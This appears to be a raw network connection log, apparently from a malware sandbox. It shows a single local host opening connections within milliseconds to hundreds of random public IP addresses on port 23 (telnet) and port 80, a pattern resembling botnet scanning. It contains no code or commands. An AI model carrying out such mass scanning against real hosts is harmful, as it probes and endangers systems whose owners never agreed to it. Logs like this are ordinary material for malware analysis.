Feb 4, 2025 18:11:15.292821884 CET	23	10645	203.58.11.58	192.168.2.15
Feb 4, 2025 18:11:15.292830944 CET	23	10645	169.133.186.41	192.168.2.15
Feb 4, 2025 18:11:15.292833090 CET	10645	23	192.168.2.15	161.178.11.199
Feb 4, 2025 18:11:15.292840958 CET	23	10645	202.228.27.156	192.168.2.15
Feb 4, 2025 18:11:15.292840958 CET	10645	23	192.168.2.15	191.116.13.181
Feb 4, 2025 18:11:15.292850971 CET	10645	23	192.168.2.15	203.58.11.58
Feb 4, 2025 18:11:15.292859077 CET	23	10645	79.106.205.51	192.168.2.15
Feb 4, 2025 18:11:15.292869091 CET	23	10645	160.177.139.117	192.168.2.15
Feb 4, 2025 18:11:15.292869091 CET	10645	23	192.168.2.15	169.133.186.41
Feb 4, 2025 18:11:15.292870998 CET	10645	23	192.168.2.15	202.228.27.156
Feb 4, 2025 18:11:15.292891979 CET	23	10645	110.245.151.78	192.168.2.15
Feb 4, 2025 18:11:15.292903900 CET	23	10645	128.236.117.210	192.168.2.15
Feb 4, 2025 18:11:15.292903900 CET	10645	23	192.168.2.15	79.106.205.51
Feb 4, 2025 18:11:15.292912960 CET	10645	23	192.168.2.15	160.177.139.117
Feb 4, 2025 18:11:15.292915106 CET	23	10645	75.140.176.149	192.168.2.15
Feb 4, 2025 18:11:15.292922974 CET	10645	23	192.168.2.15	110.245.151.78
Feb 4, 2025 18:11:15.292926073 CET	23	10645	69.118.50.190	192.168.2.15
Feb 4, 2025 18:11:15.292931080 CET	10645	23	192.168.2.15	128.236.117.210
Feb 4, 2025 18:11:15.292934895 CET	23	10645	216.69.225.68	192.168.2.15
Feb 4, 2025 18:11:15.292943001 CET	10645	23	192.168.2.15	75.140.176.149
Feb 4, 2025 18:11:15.292946100 CET	23	10645	72.239.57.235	192.168.2.15
Feb 4, 2025 18:11:15.292954922 CET	23	10645	92.220.32.212	192.168.2.15
Feb 4, 2025 18:11:15.292963982 CET	23	10645	156.183.143.16	192.168.2.15
Feb 4, 2025 18:11:15.292970896 CET	10645	23	192.168.2.15	216.69.225.68
Feb 4, 2025 18:11:15.292973042 CET	10645	23	192.168.2.15	69.118.50.190
Feb 4, 2025 18:11:15.292980909 CET	23	10645	65.227.201.70	192.168.2.15
Feb 4, 2025 18:11:15.292984962 CET	10645	23	192.168.2.15	72.239.57.235
Feb 4, 2025 18:11:15.292999983 CET	10645	23	192.168.2.15	92.220.32.212
Feb 4, 2025 18:11:15.293000937 CET	10645	23	192.168.2.15	156.183.143.16
Feb 4, 2025 18:11:15.293013096 CET	10645	23	192.168.2.15	65.227.201.70
Feb 4, 2025 18:11:15.293288946 CET	23	10645	149.12.105.182	192.168.2.15
Feb 4, 2025 18:11:15.293298960 CET	23	10645	64.254.188.210	192.168.2.15
Feb 4, 2025 18:11:15.293307066 CET	23	10645	120.69.101.1	192.168.2.15
Feb 4, 2025 18:11:15.293315887 CET	23	10645	71.201.171.98	192.168.2.15
Feb 4, 2025 18:11:15.293324947 CET	23	10645	53.243.27.168	192.168.2.15
Feb 4, 2025 18:11:15.293324947 CET	10645	23	192.168.2.15	149.12.105.182
Feb 4, 2025 18:11:15.293329954 CET	10645	23	192.168.2.15	64.254.188.210
Feb 4, 2025 18:11:15.293333054 CET	10645	23	192.168.2.15	120.69.101.1
Feb 4, 2025 18:11:15.293340921 CET	23	10645	105.237.132.173	192.168.2.15
Feb 4, 2025 18:11:15.293349981 CET	10645	23	192.168.2.15	71.201.171.98
Feb 4, 2025 18:11:15.293349981 CET	23	10645	140.126.123.204	192.168.2.15
Feb 4, 2025 18:11:15.293359995 CET	23	10645	47.132.235.233	192.168.2.15
Feb 4, 2025 18:11:15.293368101 CET	23	10645	157.226.67.36	192.168.2.15
Feb 4, 2025 18:11:15.293371916 CET	23	10645	191.91.179.194	192.168.2.15
Feb 4, 2025 18:11:15.293380022 CET	10645	23	192.168.2.15	53.243.27.168
Feb 4, 2025 18:11:15.293385029 CET	10645	23	192.168.2.15	105.237.132.173
Feb 4, 2025 18:11:15.293385983 CET	23	10645	53.0.2.84	192.168.2.15
Feb 4, 2025 18:11:15.293395996 CET	23	10645	118.25.55.139	192.168.2.15
Feb 4, 2025 18:11:15.293401003 CET	10645	23	192.168.2.15	140.126.123.204
Feb 4, 2025 18:11:15.293404102 CET	23	10645	25.219.68.169	192.168.2.15
Feb 4, 2025 18:11:15.293414116 CET	23	10645	147.214.106.177	192.168.2.15
Feb 4, 2025 18:11:15.293423891 CET	23	10645	109.119.9.95	192.168.2.15
Feb 4, 2025 18:11:15.293423891 CET	10645	23	192.168.2.15	157.226.67.36
Feb 4, 2025 18:11:15.293428898 CET	10645	23	192.168.2.15	47.132.235.233
Feb 4, 2025 18:11:15.293435097 CET	10645	23	192.168.2.15	191.91.179.194
Feb 4, 2025 18:11:15.293435097 CET	10645	23	192.168.2.15	118.25.55.139
Feb 4, 2025 18:11:15.293438911 CET	10645	23	192.168.2.15	147.214.106.177
Feb 4, 2025 18:11:15.293443918 CET	23	10645	139.80.175.251	192.168.2.15
Feb 4, 2025 18:11:15.293446064 CET	10645	23	192.168.2.15	53.0.2.84
Feb 4, 2025 18:11:15.293446064 CET	10645	23	192.168.2.15	25.219.68.169
Feb 4, 2025 18:11:15.293453932 CET	23	10645	89.40.179.104	192.168.2.15
Feb 4, 2025 18:11:15.293463945 CET	23	10645	207.187.5.178	192.168.2.15
Feb 4, 2025 18:11:15.293472052 CET	23	10645	97.165.6.147	192.168.2.15
Feb 4, 2025 18:11:15.293473959 CET	10645	23	192.168.2.15	109.119.9.95
Feb 4, 2025 18:11:15.293484926 CET	10645	23	192.168.2.15	139.80.175.251
Feb 4, 2025 18:11:15.293488026 CET	23	10645	187.212.66.203	192.168.2.15
Feb 4, 2025 18:11:15.293497086 CET	23	10645	161.112.175.215	192.168.2.15
Feb 4, 2025 18:11:15.293509007 CET	23	10645	193.19.199.184	192.168.2.15
Feb 4, 2025 18:11:15.293510914 CET	10645	23	192.168.2.15	97.165.6.147
Feb 4, 2025 18:11:15.293513060 CET	10645	23	192.168.2.15	207.187.5.178
Feb 4, 2025 18:11:15.293520927 CET	23	10645	64.18.33.8	192.168.2.15
Feb 4, 2025 18:11:15.293520927 CET	10645	23	192.168.2.15	187.212.66.203
Feb 4, 2025 18:11:15.293528080 CET	23	10645	20.141.112.12	192.168.2.15
Feb 4, 2025 18:11:15.293536901 CET	23	10645	27.13.114.131	192.168.2.15
Feb 4, 2025 18:11:15.293541908 CET	10645	23	192.168.2.15	89.40.179.104
Feb 4, 2025 18:11:15.293546915 CET	23	10645	71.103.239.54	192.168.2.15
Feb 4, 2025 18:11:15.293556929 CET	23	10645	220.67.122.19	192.168.2.15
Feb 4, 2025 18:11:15.293565989 CET	10645	23	192.168.2.15	20.141.112.12
Feb 4, 2025 18:11:15.293565989 CET	10645	23	192.168.2.15	193.19.199.184
Feb 4, 2025 18:11:15.293570995 CET	10645	23	192.168.2.15	64.18.33.8
Feb 4, 2025 18:11:15.293570995 CET	10645	23	192.168.2.15	27.13.114.131
Feb 4, 2025 18:11:15.293572903 CET	23	10645	145.180.134.218	192.168.2.15
Feb 4, 2025 18:11:15.293574095 CET	10645	23	192.168.2.15	161.112.175.215
Feb 4, 2025 18:11:15.293586016 CET	10645	23	192.168.2.15	71.103.239.54
Feb 4, 2025 18:11:15.293586969 CET	10645	23	192.168.2.15	220.67.122.19
Feb 4, 2025 18:11:15.293695927 CET	10645	23	192.168.2.15	145.180.134.218
Feb 4, 2025 18:11:15.293998957 CET	23	10645	193.37.175.110	192.168.2.15
Feb 4, 2025 18:11:15.294008970 CET	23	10645	58.161.151.169	192.168.2.15
Feb 4, 2025 18:11:15.294017076 CET	23	10645	59.83.20.45	192.168.2.15
Feb 4, 2025 18:11:15.294028044 CET	23	10645	89.204.100.155	192.168.2.15
Feb 4, 2025 18:11:15.294030905 CET	23	10645	148.15.51.43	192.168.2.15
Feb 4, 2025 18:11:15.294034958 CET	23	10645	74.136.224.185	192.168.2.15
Feb 4, 2025 18:11:15.294040918 CET	23	10645	209.195.7.220	192.168.2.15
Feb 4, 2025 18:11:15.294049025 CET	10645	23	192.168.2.15	193.37.175.110
Feb 4, 2025 18:11:15.294050932 CET	23	10645	143.182.166.215	192.168.2.15
Feb 4, 2025 18:11:15.294055939 CET	23	10645	115.107.210.198	192.168.2.15
Feb 4, 2025 18:11:15.294059992 CET	23	10645	146.144.220.162	192.168.2.15
Feb 4, 2025 18:11:15.294059992 CET	10645	23	192.168.2.15	58.161.151.169
Feb 4, 2025 18:11:15.294064045 CET	23	10645	217.200.142.97	192.168.2.15
Feb 4, 2025 18:11:15.294069052 CET	10645	23	192.168.2.15	59.83.20.45
Feb 4, 2025 18:11:15.294070959 CET	10645	23	192.168.2.15	89.204.100.155
Feb 4, 2025 18:11:15.294083118 CET	10645	23	192.168.2.15	148.15.51.43
Feb 4, 2025 18:11:15.294083118 CET	10645	23	192.168.2.15	74.136.224.185
Feb 4, 2025 18:11:15.294085979 CET	23	10645	110.8.82.220	192.168.2.15
Feb 4, 2025 18:11:15.294095993 CET	23	10645	118.226.181.154	192.168.2.15
Feb 4, 2025 18:11:15.294104099 CET	23	10645	162.11.197.142	192.168.2.15
Feb 4, 2025 18:11:15.294114113 CET	23	10645	121.55.105.46	192.168.2.15
Feb 4, 2025 18:11:15.294121981 CET	23	10645	92.244.133.1	192.168.2.15
Feb 4, 2025 18:11:15.294130087 CET	23	10645	194.233.20.69	192.168.2.15
Feb 4, 2025 18:11:15.294133902 CET	23	10645	112.236.115.104	192.168.2.15
Feb 4, 2025 18:11:15.294145107 CET	10645	23	192.168.2.15	209.195.7.220
Feb 4, 2025 18:11:15.294147015 CET	23	10645	149.218.108.33	192.168.2.15
Feb 4, 2025 18:11:15.294153929 CET	10645	23	192.168.2.15	146.144.220.162
Feb 4, 2025 18:11:15.294156075 CET	10645	23	192.168.2.15	217.200.142.97
Feb 4, 2025 18:11:15.294156075 CET	10645	23	192.168.2.15	143.182.166.215
Feb 4, 2025 18:11:15.294157982 CET	10645	23	192.168.2.15	115.107.210.198
Feb 4, 2025 18:11:15.294157982 CET	23	10645	164.129.107.62	192.168.2.15
Feb 4, 2025 18:11:15.294159889 CET	10645	23	192.168.2.15	110.8.82.220
Feb 4, 2025 18:11:15.294167995 CET	23	10645	75.95.33.71	192.168.2.15
Feb 4, 2025 18:11:15.294169903 CET	10645	23	192.168.2.15	121.55.105.46
Feb 4, 2025 18:11:15.294173956 CET	10645	23	192.168.2.15	194.233.20.69
Feb 4, 2025 18:11:15.294178009 CET	10645	23	192.168.2.15	162.11.197.142
Feb 4, 2025 18:11:15.294179916 CET	10645	23	192.168.2.15	92.244.133.1
Feb 4, 2025 18:11:15.294183016 CET	10645	23	192.168.2.15	112.236.115.104
Feb 4, 2025 18:11:15.294186115 CET	23	10645	171.137.35.139	192.168.2.15
Feb 4, 2025 18:11:15.294187069 CET	10645	23	192.168.2.15	118.226.181.154
Feb 4, 2025 18:11:15.294188023 CET	10645	23	192.168.2.15	149.218.108.33
Feb 4, 2025 18:11:15.294194937 CET	23	10645	187.144.15.104	192.168.2.15
Feb 4, 2025 18:11:15.294202089 CET	10645	23	192.168.2.15	164.129.107.62
Feb 4, 2025 18:11:15.294204950 CET	23	10645	60.145.64.166	192.168.2.15
Feb 4, 2025 18:11:15.294208050 CET	10645	23	192.168.2.15	75.95.33.71
Feb 4, 2025 18:11:15.294214010 CET	23	10645	197.60.182.244	192.168.2.15
Feb 4, 2025 18:11:15.294219971 CET	10645	23	192.168.2.15	171.137.35.139
Feb 4, 2025 18:11:15.294224977 CET	23	10645	87.130.203.68	192.168.2.15
Feb 4, 2025 18:11:15.294234991 CET	23	10645	162.158.59.253	192.168.2.15
Feb 4, 2025 18:11:15.294243097 CET	23	10645	191.166.230.18	192.168.2.15
Feb 4, 2025 18:11:15.294269085 CET	10645	23	192.168.2.15	60.145.64.166
Feb 4, 2025 18:11:15.294274092 CET	10645	23	192.168.2.15	187.144.15.104
Feb 4, 2025 18:11:15.294274092 CET	10645	23	192.168.2.15	197.60.182.244
Feb 4, 2025 18:11:15.294279099 CET	10645	23	192.168.2.15	162.158.59.253
Feb 4, 2025 18:11:15.294287920 CET	10645	23	192.168.2.15	191.166.230.18
Feb 4, 2025 18:11:15.294291973 CET	10645	23	192.168.2.15	87.130.203.68
Feb 4, 2025 18:11:15.294383049 CET	23	10645	79.192.239.237	192.168.2.15
Feb 4, 2025 18:11:15.294450045 CET	10645	23	192.168.2.15	79.192.239.237
Feb 4, 2025 18:11:15.294487953 CET	23	10645	202.188.40.250	192.168.2.15
Feb 4, 2025 18:11:15.294498920 CET	23	10645	95.190.81.161	192.168.2.15
Feb 4, 2025 18:11:15.294507980 CET	23	10645	213.185.148.34	192.168.2.15
Feb 4, 2025 18:11:15.294516087 CET	23	10645	145.254.70.38	192.168.2.15
Feb 4, 2025 18:11:15.294527054 CET	23	10645	92.154.221.117	192.168.2.15
Feb 4, 2025 18:11:15.294534922 CET	23	10645	24.16.194.164	192.168.2.15
Feb 4, 2025 18:11:15.294544935 CET	23	10645	5.144.22.67	192.168.2.15
Feb 4, 2025 18:11:15.294553041 CET	23	10645	190.189.71.3	192.168.2.15
Feb 4, 2025 18:11:15.294560909 CET	10645	23	192.168.2.15	202.188.40.250
Feb 4, 2025 18:11:15.294568062 CET	23	10645	119.45.80.43	192.168.2.15
Feb 4, 2025 18:11:15.294569969 CET	10645	23	192.168.2.15	92.154.221.117
Feb 4, 2025 18:11:15.294569969 CET	10645	23	192.168.2.15	24.16.194.164
Feb 4, 2025 18:11:15.294570923 CET	10645	23	192.168.2.15	95.190.81.161
Feb 4, 2025 18:11:15.294579983 CET	10645	23	192.168.2.15	145.254.70.38
Feb 4, 2025 18:11:15.294581890 CET	10645	23	192.168.2.15	190.189.71.3
Feb 4, 2025 18:11:15.294585943 CET	10645	23	192.168.2.15	213.185.148.34
Feb 4, 2025 18:11:15.294594049 CET	10645	23	192.168.2.15	5.144.22.67
Feb 4, 2025 18:11:15.294596910 CET	23	10645	112.204.226.174	192.168.2.15
Feb 4, 2025 18:11:15.294605970 CET	23	10645	146.54.133.16	192.168.2.15
Feb 4, 2025 18:11:15.294606924 CET	10645	23	192.168.2.15	119.45.80.43
Feb 4, 2025 18:11:15.294619083 CET	23	10645	96.71.29.174	192.168.2.15
Feb 4, 2025 18:11:15.294629097 CET	23	10645	207.9.64.55	192.168.2.15
Feb 4, 2025 18:11:15.294636965 CET	23	10645	168.85.202.71	192.168.2.15
Feb 4, 2025 18:11:15.294645071 CET	23	10645	115.222.55.156	192.168.2.15
Feb 4, 2025 18:11:15.294650078 CET	10645	23	192.168.2.15	112.204.226.174
Feb 4, 2025 18:11:15.294652939 CET	10645	23	192.168.2.15	96.71.29.174
Feb 4, 2025 18:11:15.294653893 CET	23	10645	146.216.214.184	192.168.2.15
Feb 4, 2025 18:11:15.294662952 CET	23	10645	126.139.30.188	192.168.2.15
Feb 4, 2025 18:11:15.294671059 CET	23	10645	168.253.187.160	192.168.2.15
Feb 4, 2025 18:11:15.294678926 CET	23	10645	183.149.126.216	192.168.2.15
Feb 4, 2025 18:11:15.294687033 CET	10645	23	192.168.2.15	146.54.133.16
Feb 4, 2025 18:11:15.294687033 CET	10645	23	192.168.2.15	115.222.55.156
Feb 4, 2025 18:11:15.294687033 CET	10645	23	192.168.2.15	146.216.214.184
Feb 4, 2025 18:11:15.294688940 CET	10645	23	192.168.2.15	207.9.64.55
Feb 4, 2025 18:11:15.294692993 CET	10645	23	192.168.2.15	126.139.30.188
Feb 4, 2025 18:11:15.294698000 CET	10645	23	192.168.2.15	168.85.202.71
Feb 4, 2025 18:11:15.294702053 CET	23	10645	203.251.242.249	192.168.2.15
Feb 4, 2025 18:11:15.294708967 CET	10645	23	192.168.2.15	168.253.187.160
Feb 4, 2025 18:11:15.294712067 CET	23	10645	205.243.209.86	192.168.2.15
Feb 4, 2025 18:11:15.294717073 CET	10645	23	192.168.2.15	183.149.126.216
Feb 4, 2025 18:11:15.294738054 CET	10645	23	192.168.2.15	203.251.242.249
Feb 4, 2025 18:11:15.294738054 CET	10645	23	192.168.2.15	205.243.209.86
Feb 4, 2025 18:11:15.301901102 CET	10643	80	192.168.2.15	177.82.8.49
Feb 4, 2025 18:11:15.301938057 CET	10643	80	192.168.2.15	32.109.104.6
Feb 4, 2025 18:11:15.301939964 CET	10643	80	192.168.2.15	200.162.125.49
Feb 4, 2025 18:11:15.301966906 CET	10643	80	192.168.2.15	19.119.179.107
Feb 4, 2025 18:11:15.301971912 CET	10643	80	192.168.2.15	80.99.95.150
Feb 4, 2025 18:11:15.301974058 CET	10643	80	192.168.2.15	166.207.45.208
Feb 4, 2025 18:11:15.301974058 CET	10643	80	192.168.2.15	9.119.226.185
Feb 4, 2025 18:11:15.301984072 CET	10643	80	192.168.2.15	173.206.97.190
Feb 4, 2025 18:11:15.301991940 CET	10643	80	192.168.2.15	95.13.149.114
Feb 4, 2025 18:11:15.301991940 CET	10643	80	192.168.2.15	188.5.23.207
Feb 4, 2025 18:11:15.301995039 CET	10643	80	192.168.2.15	60.156.61.231
Feb 4, 2025 18:11:15.301995993 CET	10643	80	192.168.2.15	106.129.170.230
Feb 4, 2025 18:11:15.301995993 CET	10643	80	192.168.2.15	181.156.61.20
Feb 4, 2025 18:11:15.302015066 CET	10643	80	192.168.2.15	205.76.209.146
Feb 4, 2025 18:11:15.302016973 CET	10643	80	192.168.2.15	109.194.126.187
Feb 4, 2025 18:11:15.302025080 CET	10643	80	192.168.2.15	12.97.179.162
Feb 4, 2025 18:11:15.302035093 CET	10643	80	192.168.2.15	164.65.137.10
Feb 4, 2025 18:11:15.302038908 CET	10643	80	192.168.2.15	200.233.41.109
Feb 4, 2025 18:11:15.302041054 CET	10643	80	192.168.2.15	183.129.252.65
Feb 4, 2025 18:11:15.302057028 CET	10643	80	192.168.2.15	37.172.150.98
Feb 4, 2025 18:11:15.302057028 CET	10643	80	192.168.2.15	204.176.132.110
Feb 4, 2025 18:11:15.302057028 CET	10643	80	192.168.2.15	178.15.78.97
Feb 4, 2025 18:11:15.302072048 CET	10643	80	192.168.2.15	181.72.225.6
Feb 4, 2025 18:11:15.302073956 CET	10643	80	192.168.2.15	68.142.23.3
Feb 4, 2025 18:11:15.302081108 CET	10643	80	192.168.2.15	146.232.250.211
Feb 4, 2025 18:11:15.302083015 CET	10643	80	192.168.2.15	126.88.175.215
Feb 4, 2025 18:11:15.302083015 CET	10643	80	192.168.2.15	43.82.229.157
Feb 4, 2025 18:11:15.302104950 CET	10643	80	192.168.2.15	66.135.17.87
Feb 4, 2025 18:11:15.302109003 CET	10643	80	192.168.2.15	194.111.48.242
Feb 4, 2025 18:11:15.302109003 CET	10643	80	192.168.2.15	83.61.136.91
Feb 4, 2025 18:11:15.302109003 CET	10643	80	192.168.2.15	84.0.101.244
Feb 4, 2025 18:11:15.302118063 CET	10643	80	192.168.2.15	126.70.32.90
Feb 4, 2025 18:11:15.302129030 CET	10643	80	192.168.2.15	108.107.221.111
Feb 4, 2025 18:11:15.302126884 CET	10643	80	192.168.2.15	108.8.212.184
Feb 4, 2025 18:11:15.302133083 CET	10643	80	192.168.2.15	125.44.204.231
Feb 4, 2025 18:11:15.302136898 CET	10643	80	192.168.2.15	107.55.187.174
Feb 4, 2025 18:11:15.302153111 CET	10643	80	192.168.2.15	206.18.177.12
Feb 4, 2025 18:11:15.302154064 CET	10643	80	192.168.2.15	189.156.186.99
Feb 4, 2025 18:11:15.302155018 CET	10643	80	192.168.2.15	187.255.144.171
Feb 4, 2025 18:11:15.302164078 CET	10643	80	192.168.2.15	89.171.116.145
Feb 4, 2025 18:11:15.302180052 CET	10643	80	192.168.2.15	8.96.135.15
Feb 4, 2025 18:11:15.302196980 CET	10643	80	192.168.2.15	36.166.131.210
Feb 4, 2025 18:11:15.302208900 CET	10643	80	192.168.2.15	78.254.237.99
Feb 4, 2025 18:11:15.302232981 CET	10643	80	192.168.2.15	95.225.178.100
Feb 4, 2025 18:11:15.302232981 CET	10643	80	192.168.2.15	200.22.208.167
Feb 4, 2025 18:11:15.302242994 CET	10643	80	192.168.2.15	41.137.229.247
Feb 4, 2025 18:11:15.302256107 CET	10643	80	192.168.2.15	114.198.115.177
Feb 4, 2025 18:11:15.302262068 CET	10643	80	192.168.2.15	207.26.197.36
Feb 4, 2025 18:11:15.302267075 CET	10643	80	192.168.2.15	175.253.12.68
Feb 4, 2025 18:11:15.302288055 CET	10643	80	192.168.2.15	132.130.80.183
Feb 4, 2025 18:11:15.302288055 CET	10643	80	192.168.2.15	67.76.177.112
Feb 4, 2025 18:11:15.302293062 CET	10643	80	192.168.2.15	84.59.111.135
Feb 4, 2025 18:11:15.302293062 CET	10643	80	192.168.2.15	143.23.249.38
Feb 4, 2025 18:11:15.302304983 CET	10643	80	192.168.2.15	82.32.93.110
Feb 4, 2025 18:11:15.302306890 CET	10643	80	192.168.2.15	40.27.177.94
Feb 4, 2025 18:11:15.302309990 CET	10643	80	192.168.2.15	194.35.89.86
Feb 4, 2025 18:11:15.302320004 CET	10643	80	192.168.2.15	141.119.124.169
Feb 4, 2025 18:11:15.302330017 CET	10643	80	192.168.2.15	40.164.113.19
Feb 4, 2025 18:11:15.302331924 CET	10643	80	192.168.2.15	190.51.84.210
Feb 4, 2025 18:11:15.302356005 CET	10643	80	192.168.2.15	176.70.45.40
Feb 4, 2025 18:11:15.302366018 CET	10643	80	192.168.2.15	200.16.27.139
Feb 4, 2025 18:11:15.302382946 CET	10643	80	192.168.2.15	178.24.117.67
Feb 4, 2025 18:11:15.302382946 CET	10643	80	192.168.2.15	75.202.255.136
Feb 4, 2025 18:11:15.302385092 CET	10643	80	192.168.2.15	27.92.164.132
Feb 4, 2025 18:11:15.302385092 CET	10643	80	192.168.2.15	150.249.4.56
Feb 4, 2025 18:11:15.302397013 CET	10643	80	192.168.2.15	139.62.254.107
Feb 4, 2025 18:11:15.302400112 CET	10643	80	192.168.2.15	13.108.32.211
Feb 4, 2025 18:11:15.302419901 CET	10643	80	192.168.2.15	32.71.11.101
Feb 4, 2025 18:11:15.302419901 CET	10643	80	192.168.2.15	159.222.186.124
Feb 4, 2025 18:11:15.302423954 CET	10643	80	192.168.2.15	12.84.237.46
Feb 4, 2025 18:11:15.302423954 CET	10643	80	192.168.2.15	62.209.59.232
Feb 4, 2025 18:11:15.302436113 CET	10643	80	192.168.2.15	139.0.119.230
Feb 4, 2025 18:11:15.302439928 CET	10643	80	192.168.2.15	124.18.92.244
Feb 4, 2025 18:11:15.302449942 CET	10643	80	192.168.2.15	115.185.195.251
Feb 4, 2025 18:11:15.302455902 CET	10643	80	192.168.2.15	35.149.142.163
Feb 4, 2025 18:11:15.302476883 CET	10643	80	192.168.2.15	42.77.12.95
Feb 4, 2025 18:11:15.302479029 CET	10643	80	192.168.2.15	219.26.94.243
Feb 4, 2025 18:11:15.302483082 CET	10643	80	192.168.2.15	151.135.231.28
Feb 4, 2025 18:11:15.302491903 CET	10643	80	192.168.2.15	151.84.254.55
Feb 4, 2025 18:11:15.302494049 CET	10643	80	192.168.2.15	68.2.40.103
Feb 4, 2025 18:11:15.302494049 CET	10643	80	192.168.2.15	68.223.197.207
Feb 4, 2025 18:11:15.302494049 CET	10643	80	192.168.2.15	203.195.122.98
Feb 4, 2025 18:11:15.302494049 CET	10643	80	192.168.2.15	17.53.64.207
Feb 4, 2025 18:11:15.302494049 CET	10643	80	192.168.2.15	58.119.47.250
Feb 4, 2025 18:11:15.302494049 CET	10643	80	192.168.2.15	129.122.69.84
Feb 4, 2025 18:11:15.302494049 CET	10643	80	192.168.2.15	204.195.131.15
Feb 4, 2025 18:11:15.302494049 CET	10643	80	192.168.2.15	216.239.162.11
Feb 4, 2025 18:11:15.302505016 CET	10643	80	192.168.2.15	76.247.142.44
Feb 4, 2025 18:11:15.302508116 CET	10643	80	192.168.2.15	140.115.164.99
Feb 4, 2025 18:11:15.302515984 CET	10643	80	192.168.2.15	104.108.17.71
Feb 4, 2025 18:11:15.302521944 CET	10643	80	192.168.2.15	59.153.46.112
Feb 4, 2025 18:11:15.302521944 CET	10643	80	192.168.2.15	96.93.172.124
Feb 4, 2025 18:11:15.302522898 CET	10643	80	192.168.2.15	70.84.204.19
Feb 4, 2025 18:11:15.302522898 CET	10643	80	192.168.2.15	218.209.237.53
Feb 4, 2025 18:11:15.302527905 CET	10643	80	192.168.2.15	213.60.47.102
Feb 4, 2025 18:11:15.302527905 CET	10643	80	192.168.2.15	25.237.15.163
Feb 4, 2025 18:11:15.302536964 CET	10643	80	192.168.2.15	61.237.9.180
Feb 4, 2025 18:11:15.302540064 CET	10643	80	192.168.2.15	159.187.251.131
Feb 4, 2025 18:11:15.302548885 CET	10643	80	192.168.2.15	134.102.52.20
Feb 4, 2025 18:11:15.302551985 CET	10643	80	192.168.2.15	62.152.196.59
Feb 4, 2025 18:11:15.302567005 CET	10643	80	192.168.2.15	163.191.21.183
Feb 4, 2025 18:11:15.302567959 CET	10643	80	192.168.2.15	70.218.234.158
Feb 4, 2025 18:11:15.302571058 CET	10643	80	192.168.2.15	59.197.123.191
Feb 4, 2025 18:11:15.302577019 CET	10643	80	192.168.2.15	35.94.114.161
Feb 4, 2025 18:11:15.302586079 CET	10643	80	192.168.2.15	74.163.151.103
Feb 4, 2025 18:11:15.302598000 CET	10643	80	192.168.2.15	87.159.213.41
Feb 4, 2025 18:11:15.302598953 CET	10643	80	192.168.2.15	44.56.110.156
Feb 4, 2025 18:11:15.302607059 CET	10643	80	192.168.2.15	79.68.93.23
Feb 4, 2025 18:11:15.302618027 CET	10643	80	192.168.2.15	186.116.115.17
Feb 4, 2025 18:11:15.302623034 CET	10643	80	192.168.2.15	122.230.149.114
Feb 4, 2025 18:11:15.302624941 CET	10643	80	192.168.2.15	173.182.50.119
Feb 4, 2025 18:11:15.302648067 CET	10643	80	192.168.2.15	204.180.52.55
Feb 4, 2025 18:11:15.302654028 CET	10643	80	192.168.2.15	216.213.46.231
Feb 4, 2025 18:11:15.302665949 CET	10643	80	192.168.2.15	67.218.78.191
Feb 4, 2025 18:11:15.302670002 CET	10643	80	192.168.2.15	180.247.222.119
Feb 4, 2025 18:11:15.302675009 CET	10643	80	192.168.2.15	126.182.35.205
Feb 4, 2025 18:11:15.302676916 CET	10643	80	192.168.2.15	148.124.95.174
Feb 4, 2025 18:11:15.302686930 CET	10643	80	192.168.2.15	212.81.176.109
Feb 4, 2025 18:11:15.302691936 CET	10643	80	192.168.2.15	40.223.8.205
Feb 4, 2025 18:11:15.302783012 CET	10643	80	192.168.2.15	192.28.191.237
Feb 4, 2025 18:11:15.302786112 CET	10643	80	192.168.2.15	128.144.240.143
Feb 4, 2025 18:11:15.302786112 CET	10643	80	192.168.2.15	166.138.238.35
Feb 4, 2025 18:11:15.302819967 CET	10643	80	192.168.2.15	198.160.236.62
Feb 4, 2025 18:11:15.302831888 CET	10643	80	192.168.2.15	168.68.13.8
Feb 4, 2025 18:11:15.302834988 CET	10643	80	192.168.2.15	107.223.216.240
Feb 4, 2025 18:11:15.302839994 CET	10643	80	192.168.2.15	116.7.76.23
Feb 4, 2025 18:11:15.302850008 CET	10643	80	192.168.2.15	206.199.245.36
Feb 4, 2025 18:11:15.302851915 CET	10643	80	192.168.2.15	57.100.84.199
Feb 4, 2025 18:11:15.302861929 CET	10643	80	192.168.2.15	134.62.75.223
Feb 4, 2025 18:11:15.302865982 CET	10643	80	192.168.2.15	19.144.149.113
Feb 4, 2025 18:11:15.302872896 CET	10643	80	192.168.2.15	126.143.12.162
Feb 4, 2025 18:11:15.302881956 CET	10643	80	192.168.2.15	98.185.1.120
Feb 4, 2025 18:11:15.302896023 CET	10643	80	192.168.2.15	4.252.219.51
Feb 4, 2025 18:11:15.302896023 CET	10643	80	192.168.2.15	171.125.195.174
Feb 4, 2025 18:11:15.302918911 CET	10643	80	192.168.2.15	41.15.181.215
Feb 4, 2025 18:11:15.302918911 CET	10643	80	192.168.2.15	150.170.24.90
Feb 4, 2025 18:11:15.302920103 CET	10643	80	192.168.2.15	34.27.137.224
Feb 4, 2025 18:11:15.302921057 CET	10643	80	192.168.2.15	179.62.125.110
Feb 4, 2025 18:11:15.302923918 CET	10643	80	192.168.2.15	2.51.215.69
Feb 4, 2025 18:11:15.302923918 CET	10643	80	192.168.2.15	124.184.212.227
Feb 4, 2025 18:11:15.302938938 CET	10643	80	192.168.2.15	19.122.225.91
Feb 4, 2025 18:11:15.302947998 CET	10643	80	192.168.2.15	40.54.178.141
Feb 4, 2025 18:11:15.302970886 CET	10643	80	192.168.2.15	93.55.208.184
Feb 4, 2025 18:11:15.302973986 CET	10643	80	192.168.2.15	108.82.109.60
Feb 4, 2025 18:11:15.302974939 CET	10643	80	192.168.2.15	218.1.155.194
Feb 4, 2025 18:11:15.302977085 CET	10643	80	192.168.2.15	36.252.80.237
Feb 4, 2025 18:11:15.302995920 CET	10643	80	192.168.2.15	187.83.13.240
Feb 4, 2025 18:11:15.303004980 CET	10643	80	192.168.2.15	221.196.89.137
Feb 4, 2025 18:11:15.303024054 CET	10643	80	192.168.2.15	190.41.13.234
Feb 4, 2025 18:11:15.303035021 CET	10643	80	192.168.2.15	160.150.111.91
Feb 4, 2025 18:11:15.303042889 CET	10643	80	192.168.2.15	192.98.224.222
Feb 4, 2025 18:11:15.303060055 CET	10643	80	192.168.2.15	107.29.41.254
Feb 4, 2025 18:11:15.303071976 CET	10643	80	192.168.2.15	126.202.227.97
Feb 4, 2025 18:11:15.303086042 CET	10643	80	192.168.2.15	58.183.107.172
